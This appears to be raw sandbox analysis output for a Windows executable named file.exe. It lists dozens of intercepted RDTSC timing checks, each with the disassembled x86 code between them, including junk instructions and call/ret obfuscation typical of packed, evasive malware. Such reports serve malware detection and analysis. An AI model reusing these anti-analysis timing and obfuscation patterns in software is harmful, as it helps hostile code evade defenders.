Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A79C second address: F2A7BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F4A4CE02A30h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CC48 second address: F2CC62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F4A4CCE8426h 0x00000010 jmp 00007F4A4CCE842Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CC62 second address: F2CC66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CC66 second address: F2CC91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4A4CCE8426h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F4A4CCE843Ch 0x00000015 jmp 00007F4A4CCE8436h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8161 second address: EB816B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34D58 second address: F34D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34D5C second address: F34D6A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34D6A second address: F34D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34D6E second address: F34DA2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4A4CE02A26h 0x00000008 jmp 00007F4A4CE02A39h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop ecx 0x00000013 popad 0x00000014 jbe 00007F4A4CE02A46h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33CA5 second address: F33CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F4A4CCE8436h 0x0000000b jmp 00007F4A4CCE8433h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jc 00007F4A4CCE8426h 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push ecx 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007F4A4CCE8434h 0x00000026 pop ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33CFD second address: F33D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34696 second address: F3469E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3469E second address: F346B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F4A4CE02A32h 0x0000000b js 00007F4A4CE02A26h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38258 second address: F38262 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38262 second address: F38266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38266 second address: F3826C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3826C second address: F38281 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F4A4CE02A30h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF046 second address: EE145F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4A4CCE8438h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sbb dx, 2F1Bh 0x00000010 call dword ptr [ebp+1244C056h] 0x00000016 push eax 0x00000017 push edx 0x00000018 ja 00007F4A4CCE842Eh 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF686 second address: EFF68B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF68B second address: EFF691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF921 second address: EFF925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFA13 second address: EFFA37 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F4A4CCE8437h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFB00 second address: EFFB43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4A4CE02A2Bh 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D223Dh], ebx 0x00000016 push 00000004h 0x00000018 and ch, 00000000h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F4A4CE02A35h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F001D2 second address: F001D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F002B8 second address: EE201C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jc 00007F4A4CE02A2Ah 0x0000000d nop 0x0000000e mov dword ptr [ebp+1244C0D3h], edi 0x00000014 lea eax, dword ptr [ebp+12480D17h] 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F4A4CE02A28h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 push eax 0x00000035 jmp 00007F4A4CE02A2Bh 0x0000003a mov dword ptr [esp], eax 0x0000003d mov edi, dword ptr [ebp+122D39B8h] 0x00000043 call dword ptr [ebp+1244C0C6h] 0x00000049 jp 00007F4A4CE02A31h 0x0000004f jmp 00007F4A4CE02A2Bh 0x00000054 push eax 0x00000055 push edx 0x00000056 jnl 00007F4A4CE02A2Ch 0x0000005c push ecx 0x0000005d push esi 0x0000005e pop esi 0x0000005f pop ecx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE201C second address: EE2039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4A4CCE8437h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2039 second address: EE203D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB30F2 second address: EB30F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38552 second address: F38558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38558 second address: F3856F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d popad 0x0000000e push edx 0x0000000f jo 00007F4A4CCE8432h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3856F second address: F38575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38800 second address: F38811 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 jo 00007F4A4CCE8441h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38811 second address: F38815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38EA7 second address: F38EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F4A4CCE8426h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F640 second address: F3F644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F644 second address: F3F678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CCE8437h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F4A4CCE8433h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E14E second address: F3E161 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4A4CE02A2Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E592 second address: F3E5BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jne 00007F4A4CCE842Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4A4CCE8436h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E755 second address: F3E759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3ED06 second address: F3ED12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F4A4CCE8426h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3ED12 second address: F3ED1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3ED1E second address: F3ED28 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4A4CCE8426h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EE8C second address: F3EE9F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4A4CE02A2Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EE9F second address: F3EEA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F4C1 second address: F3F4EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4A4CE02A30h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4A4CE02A37h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F449A3 second address: F449A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F449A9 second address: F449AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F471FD second address: F47207 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4A4CCE8426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB76E second address: EBB783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A2Dh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB783 second address: EBB79C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CCE8433h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB79C second address: EBB7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB7A2 second address: EBB7B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F4A4CCE8426h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB7B1 second address: EBB7B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB7B5 second address: EBB7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CCE842Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F4A4CCE842Ah 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F4A4CCE8436h 0x0000001d popad 0x0000001e pushad 0x0000001f jnl 00007F4A4CCE8426h 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB7FD second address: EBB81C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F4A4CE02A39h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB81C second address: EBB820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B5A5 second address: F4B5AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BA2D second address: F4BA32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFCF5 second address: EFFCF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFCF9 second address: EFFCFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFCFF second address: EFFD06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFD06 second address: EFFD4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F4A4CCE8428h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 sbb cl, 0000003Ah 0x00000025 mov ecx, edx 0x00000027 mov ebx, dword ptr [ebp+12480D56h] 0x0000002d mov dh, 5Eh 0x0000002f add eax, ebx 0x00000031 jbe 00007F4A4CCE8429h 0x00000037 and cl, 0000003Ch 0x0000003a nop 0x0000003b push edi 0x0000003c push eax 0x0000003d push edx 0x0000003e push esi 0x0000003f pop esi 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFD4B second address: EFFDA6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007F4A4CE02A2Fh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F4A4CE02A28h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push 00000004h 0x0000002a mov dword ptr [ebp+122D313Bh], eax 0x00000030 mov cx, 4D81h 0x00000034 nop 0x00000035 pushad 0x00000036 pushad 0x00000037 jmp 00007F4A4CE02A30h 0x0000003c pushad 0x0000003d popad 0x0000003e popad 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFDA6 second address: EFFDB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFDB4 second address: EFFDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFDB8 second address: EFFDBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFDBE second address: EFFDD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4A4CE02A2Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C872 second address: F4C877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50A56 second address: F50A63 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4A4CE02A28h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50E9A second address: F50E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50E9E second address: F50EA8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5102F second address: F5107D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE842Eh 0x00000007 jnc 00007F4A4CCE8426h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007F4A4CCE843Bh 0x00000015 jmp 00007F4A4CCE8435h 0x0000001a jmp 00007F4A4CCE8431h 0x0000001f push eax 0x00000020 push edx 0x00000021 jne 00007F4A4CCE8426h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5107D second address: F51081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F546E2 second address: F546E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F546E6 second address: F546F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F546F2 second address: F546F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F546F6 second address: F54702 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jng 00007F4A4CE02A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54702 second address: F54728 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4A4CCE842Ch 0x00000008 jmp 00007F4A4CCE8435h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54728 second address: F54737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4B95 second address: EB4B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4B9B second address: EB4BA9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4BA9 second address: EB4BBC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jnc 00007F4A4CCE8426h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4BBC second address: EB4BDB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4A4CE02A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4A4CE02A2Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F53E74 second address: F53EA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 je 00007F4A4CCE8428h 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F4A4CCE8437h 0x00000015 js 00007F4A4CCE8426h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F53EA4 second address: F53EC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4A4CE02A35h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F53EC0 second address: F53EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F543B6 second address: F543BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F543BC second address: F543C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F543C2 second address: F543F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4A4CE02A2Ah 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F4A4CE02A2Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4A4CE02A2Fh 0x0000001a rdtsc
